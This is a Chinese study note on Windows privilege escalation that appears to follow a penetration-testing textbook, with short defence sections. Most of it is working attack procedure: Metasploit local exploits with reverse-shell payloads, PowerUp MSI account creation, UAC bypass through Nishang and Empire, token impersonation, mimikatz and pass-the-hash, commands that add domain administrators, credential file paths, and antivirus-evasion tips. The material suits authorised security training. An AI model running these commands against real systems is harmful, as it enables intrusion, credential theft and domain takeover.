4.权限提升及分析防御
4.0.前置基础
提权条件提权不是在任何情况下都可以进行的,它有一定的前置条件,例如拥有内网普通用户权限、拥有WebShell、拥有FTP权限、拥有某些远程管理软件的账号和密码等,同时在本地或者远程服务器上存在相应的漏洞。当然,最重要的条件是拥有利用该漏洞的工具、代码或者程序!
基础信息查询
- Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。
- Power Users:高级用户组Power Users可以执行除了为Administrators组保留的任务外的其他任何操作系统任务
- Users:普通用户组,这个组的用户无法进行有意或无意的改动
- Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
- Everyone:所有的用户,这个计算机上的所有用户都属于这个组
提权名称解释
注册表
注册表(Registry,繁体中文版Windows操作系统称之为登录档案)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。其中存放着各种参数,直接控制着Windows的启动、硬件驱动程序的装载以及一些Windows应用程序的运行,从而在整个系统中起着核心作用。这些作用包括了软、硬件的相关配置和状态信息,比如注册表中保存有应用程序和资源管理器外壳的初始条件、首选项和卸载数据等,联网计算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联,硬件部件的描述、状态和属性,性能记录和其他底层的系统状态信息,以及其他数据等。
计划任务
计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行;攻击者可以通过计划任务程序来运行准备好的恶意脚本、批处理文件夹、病毒程序、payload命令,使其在某个特定的时间运行,达到系统提权的目的。
组策略
Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。
基础信息查询命令
#主机名
hostname
#查看系统名
wmic os get caption
#查看系统信息
systeminfo
#环境变量
set
#查看用户信息
net user
#查看当前安装程序
wmic product get name,version
#查看正在运行的进程列表
tasklist /svc | find "TermService"
#查看服务PID
netstat -and | find "1448"
#查看具体补丁信息
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KBxxxxx" /C:"KBxxxxx"
查看目标重要配置命令
#查看系统版本
C:\boot.ini
#IIS配置文件
C:\Windows\System32\inetsrv\MetaBase.xml
#存储系统初次安装的密码
C:\Windows\repair\sam
#Mysql配置
C:\Program Files\mysql\my.ini
#Mysql root
C:\Program Files\mysql\data\mysql\user.MYD
#php配置信息
C:\Windows\php.ini
#Mysql配置信息
C:\Windows\my.ini
#Windows系统的一个基本系统配置文件
C:\Windows\win.ini
4.1.系统内核溢出漏洞提权分析及防范
内核提权
1.Win账号和密码的获取与破解
Windows账号和密码的获取主要针对获取了系统权限的情况,例如目标端口开放3389的情况;还有一种情况,就是通过提权0day执行其他可执行程序
2.通过执行wce-w
命令(Windows Credientials Editor)直接获取系统登录过的账号明文。
Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据(例如LM/NTHash)。这些功能在内网渗透中能够被利用,例如,在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。
本地存储的凭证是否有可利用的cmdkey /list
查询当前存储的凭证;以存储凭证的用户执行命令runas /savecred /user:JIUSHI-PC\jiushi ""
查看目标补丁
//获取补丁信息
systeminfo或者systeminfo | findstr KB
Wmic qfe get Caption,Description,HotFixID,InstalledOn
//获取系统版本信息
systeminfo | findstr OS
利用metasploit发现缺失补丁
利用msf中的use post/windows/gather/enum_patches模块,可以根据漏洞编号快速找出系统中缺少的补丁
先连接目标主机,拿到会话,在输入以下命令
use post/windows/gather/enum_patches
set session 1
run
windows exploit suggester(GitHub项目链接)
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。Windows-Exploit-Suggester
然后执行如下命令,查看目标主机系统信息,保存为info.txt文件:
systeminfo > info.txt
更新漏洞数据库,会生成一个xls的文件
python2 windows-exploit-suggester.py --update
安装xlrd模块
pip2 install xlrd==1.2.0
最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:
python2 windows-exploit-suggester.py -d 2022-10-20-mssb.xlsx -i info.txt
powershell中的sherlock脚本(GitHub项目链接)
Import-Module + 脚本
Find-AllVulns
在线辅助查询补丁特征&&杀毒软件识别网站(网站链接)
4.2.Windows操作系统配置错误利用分析及规范
如果无法通过系统内核溢出漏洞提权的话,攻击者就会利用系统中的配置错误来提权。
常见的配置错误包括管理员凭据配置错误、服务 配置错误、故意削弱的安全措施、用户权限过高等
4.2.1.系统服务权限配置错误
windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务都是以system权限启动的,其文件夹、文件和注册表键值都是受强访问控制机制保护的。
系统服务权限配置错误的可能
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务。
- 服务正在运行且无法被终止:这种符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术尝试重启服务来提权。
powerup下的实战利用
PowerUp提供了一些本地的提权方法,可以通过很多实用的脚本来寻找目标机器中的Windows服务漏洞(PowerSploit的一部分)
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
Metasploit下的实战利用
在Metasploit中,对应的利用模块是service_permissions。选择 AGGRESSIVE 选项,可以利用目标机器上的每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作
use exploit /windows/local/service_permissions
设置完之后直接run,会自动反弹一个新的meterpreter会话(system权限),强大
.
service permissions模块使用两种方法来获得 System权限:如果 meterpreteri以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
注册表键AlwaysInstallElevated#
注册表键 Always InstallElevated是一个策略设置项。 Windows允许低权限用户以 System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM .
Paths AlwayslnstallElevated 漏洞产生的原因#
该漏洞产生的原因是用户开启了 Windows Installer t特权安装功能
在“运行”设置框中输入“ gpedit. msc",打开组策略编辑器。
・组策略一计算机配置一管理模板一 Windows组件一 Windows Installer--水远以高特权进行安装:选择启用。
・组策略一用户配置一管理模板- Windows组件一 Windows Installer-永远以高特权进行安装;选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”。
HKEY CURRENT USER SOFTWARE Policies Microsoft Windows Installer AlwaysinstallElevated
HKEY LOCAL MACHINE Policies Microsoft Windows Installer AlwaysinstallElevated
Windows Install 的相关知识点#
Windows Installer是 Windows操作系统的组件之一,专门用来管理和配置软件服务。 Windows Installer 除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。
Windows Installer分为客户端安装服务( Msiexec. exe)和MsI文件两部分,它们是一起工作的。
Windows Installer通过 Msiexec.exe安装MSl文件包含的程序。MSI文件是 Windows Installer的数据包,它实际上是一个数据库,包含安装和御载软件时需要使用的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行 Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单地说,双击MS1文件就会运行 Msiexec.exe
powerup提权利用
在这里,可以使用 Powerup的Get- RegistryAlwaysinstallElevated模块来检查注册表键是否被设置。如果 AlwaysinstallElevated注册表键已经被设置,就意味着MSI文件是以 System权限运行的。运行该模块的命令如下,“True”表示已经设置。
在本机加载PowerUp.ps1脚本,查看AlwaysInstallElevated注册表是否被设置
命令:import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
可以看到AlwaysInstallElevated注册表没有被设置
因此参考二,将其激活
接下来添加账户。运行Write-UserAddMSI模块,生成MSI文件
Write-UserAddMSI
这是以普通用户权限运行UserAdd.msi,就会添加一个管理员账户
msiexec ``/q` `/i` `UserAdd.msi
4.2.3可信任服务路径漏洞
可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows 文件路径解析的特性并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果-个服 务调用的可执行 文件没有正确地处理所引用的完整路径名, 这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务 的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能
如果路径与服务有关,就任意创建一个服务或者编译Sericce模板。
如果路径与可执行文件有关,就任意创建个可执行文件。
1.Trusted Service Paths漏洞产生的原因
因为windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径"C:\Program Files\ Some Folder\Service.exe",对于该路径中的每一个空格,Windows 都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
在本例中,Windows 会依次尝试确
C:\Program.exe
C:\Program Files\ Some.exe
C:\Program Files\ Some Folder\Service.exe
因此,如果一个被“适当”命名的可执行程序被上传到可受影响的目录中,服务一旦重启,该程序就会以Syten权限运行(在大多数情况下)。
2. Metasploit 下的实战利用
首先,检测目标机器中是否存在该漏洞。使用wmic查询命令,列出目标机器中所有没有被引号引起来的服务路径。
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
icacls "存在双引号的服务路径" #查看权限
Everyone: 用户对这个文件夹有完全控制权限。也就是说,所有用户都具有修改这个文件夹的权限。
(M):修改。
(F): 完全控制。
(CI): 从属容器将继承访问控制项。
(OI): 从属文件将继承访问控制项。
"Everyone:(ODCDXF)"的意思是,对该文件夹,用户有读、写、删除其下文件、删除其子目录的权限。
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。
sc stop service name
sc start service name
也可以使用msf中的WINDOWS Service Trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后讲受影响的服务重启
msf6 > use exploit/windows/local/unquoted_service_path
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
SESSION => 5
msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/unquoted_service_path) > run #命令执行后,反弹一个新的meterpreter,但是反弹的会很快终断,需迁移进程
在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中,可以使用“set AutoRunScript migrate -f"命令自动迁移进程
4.2.4自动安装配置文件
网络管理员在内网中配置同一个环境是,通常会采用脚本化批量部署。在这个过程中,会使用配置文件。这些文件可能包含本地管理员账户密码信息。这些文件列举如下
C:\sysprep.inf
C:\sysprep\sysprep.xml
也可以执行如下命令,搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
Metasploit集成了该漏洞的利用模块post/windows/gather/enum_unattend
msf6 > use post/windows/gather/enum_unattend
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 post(windows/gather/enum_unattend) > show options
Module options (post/windows/gather/enum_unattend):
Name Current Setting Required Description
---- --------------- -------- -----------
GETALL true yes Collect all unattend.xml that are found
SESSION yes The session to run this module on.
msf6 post(windows/gather/enum_unattend) > set SESSION 5
SESSION => 5
msf6 post(windows/gather/enum_unattend) > run
4.2.5计划任务
schtasks /query /fo LIST /v #查看计算机计划任务
AccsChk是Syslnteraks 套件中的一个工具,由Mnk Rusnoih编写用于在Wndows中进行一些系统或程序的高级查询、管理和故障排除工作,基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而AcsCce是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。
accesschk.exe -dqv "C:\Microsoft" -accepteula
下面是几个常用的AccessChk命令。
第一次运行Sysntemals工具包里的工具时,会弹出一个许可协议对话框。在这里,可以使用参数/accepteula自动接受许可协议,命令如下。
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹,命令如下。
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqg"AuthenticatedUsers"c:\
列出某个驱动器下所有权限配置有缺陷的文件,命令如下。
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*
4.3 组策略首选项提权分析及防范
4.4 绕过UAC提权分析及防范
如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:) Windows目录、Program Files目录,以及读、写系统登录数据库(Registry)的程序等操作,都需要经讨UAC (User Account Control,用户账户控制)的认证才能进行。
4.4.1 UAC简介
UAC是微软为提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免思意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设詈进行更改。在Windows Vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限,中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁的损害最小。
需要UAC的授权才能进行的操作列举如下
配置Windows Update。
增加/删除账户。
更改账户类型。
更改UAC的设置。
安装ActiveX。
安装/御载程序。
安装设备驱动程序。
将文件移动/复制到Program Files或Windows目录下。
查看其他用户的文件夹
UAC有如下四种设置要求。
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地 Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
4.4.2 bypassuac模块
假设获取了目标机器的Meterpreter shell ,当前权限为普通用户权限,现在尝试系统的System权限。
首先,运行exploit/windows/local/bypassuac模块,获得一个新的meterpreter Shel。然后,执行“getsystem”命令。再次查看权限,发现已经绕过UAC,获得了Svstem权限。
在使用bypassuac模块提权时,当前用户必须在管理员组中,且UAC必须为默认设置。
当bypassuac模块运行时,会在目标机上创建多个文件,这些文件会被杀毒软件识别。但因为exploit/windows/local/bypassuac_injecton模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
msf6 > use exploit/windows/local/bypassuac
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac) > show options
4.4.3RunAs模块
使用exploit/windows/local/ask模块,创建一个可执行文件,目标机器上会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter shell
要想使用该模块提权,当前用户必须在管理员组或者知道管理员的密码,对UAC的设置无要求,在使用RunAs模块时,需要使用EXE:Custom选项创建一个可执行文件(需进行免杀处理)
msf6 > use exploit/windows/local/ask
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ask) > show options
msf6 exploit(windows/local/ask) > set SESSION 6
SESSION => 6
msf6 exploit(windows/local/ask) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/ask) > run
getuid
getsystem
4.4.4Nishang中的Invoke-PsUACme模块(/nishang/Escalation/Invoke-PsUACme.ps1)
PS C:\Users\q\Desktop> Import-Module .\Invoke-PsUACme.ps1
PS C:\Users\q\Desktop> Invoke-PsUACme -Verbose
PS C:\Users\q\Desktop> Invoke-PsUACme -method oobe -Verbose
PS C:\Windows\temp> Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e mypayload"
除此之外,可以使用-PayloadPath参数指定payload路径,使用-CustomDll64或-CustomDLL32参数,可以自定义DLL文件
4.4.5Empire中的bypassuac模块
1.bypassuac模块
usemodule privesc/bypassuac #设置监听参数
execute
2.bypassuac_wscript模块
usemodule privesc/bypassuac_wscript
set Listener lab
execute #带*的角色提权成功
4.4.6针对绕过UAC提权的防御措施
在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista中一样,总是弹出警告)。另外,可以使用微软的EMET 或MalwareBytes来更好地防范0day漏洞。
4.5令牌窃取分析及防范
令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在干系统中(除非系统重新启动)。令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token )代表访问挖制损作主休的系统对象。密保令牌(Security Token )也叫作认证令牌或者硬件令牌,是一种用干实现计管机身份校验的物理设备,例如U盾。会话令牌(SessionToken)是交互会话中唯一的身份标识符。伪造令牌攻击的核心是Kerheros协议, Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提做强大的认证服务。Kerberos协议的工作机制如下图所示
客户端请求证书的过程如下
客户端向认证服务器发送请求,要求得到证书。
认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端的身份。
客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。
客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。
4.5.1假冒用户令牌
假设已经获得了目标机器的 meterpreter Shell。首先输入“use incognito”命令,然后输人“list_tokens -u”命令,列出可用的令牌
meterpreter > use incognito
meterpreter > list_tokens -u
这里有两种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实取决于meterprcter shell的访问级别,假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。
meterpreter > impersonate_token WIN7\\q #在incognito中调用inpersonate_token,假冒用户q进行测试,WIN7是机器名,q为用户名,中间需要\\隔开
4.5.2 Rotten Potato本地提权分析
如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。首先输入“use incognito”命令,然后输入“list_tokens -u”命令,列出可用的令牌
下载完成后,RottenPotato目录下会有一个rottenpotato.exe可执行文件。执行如下命令,将 rottenpotatocxe上传列日标机器中
meterpreter > upload /home/kali/Downloads/rottenpotato.exe
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
4.5.3添加域管理员
在meterpreter会话中使用ps命令查找域管理进程,并使用migrate命令迁移到该进程,进入shell
net user sec 123456Bo /ad /domain #添加域用户
net group "domain admins" sec /ad /domain #添加到域管理员组
net group "domain admins" /domain #查看域管理员组
同样在meterpreter中可以使用incognito来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来太添加域管理员
add_user sec 12345Bo -h 1.1.1.8
net group "domain admins" sec -h 1.1.1.8
4.5.4Empire下的令牌窃取
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
(Empire: listeners/http) > set Host http://1.1.1.6
(Empire: listeners/http) > set Port 8888
(Empire: listeners/http) > set Name sec
(Empire: listeners/http) > execute
(Empire: listeners) > launcher powershell sec
(Empire: agents) > interact N78Z9653
(Empire: N78Z9653) > mimikatz
(Empire: N78Z9653) > creds
(Empire: N78Z9653) > pth 2
(Empire: N78Z9653) > revtoself #恢复令牌权限
4.5.5针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下
及时安装微软推送的补丁。
对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
对于令牌,应采取加密存储及多重验证保护。
使用加密链路SSL/TLS传输令牌,以防止被中间人窃听。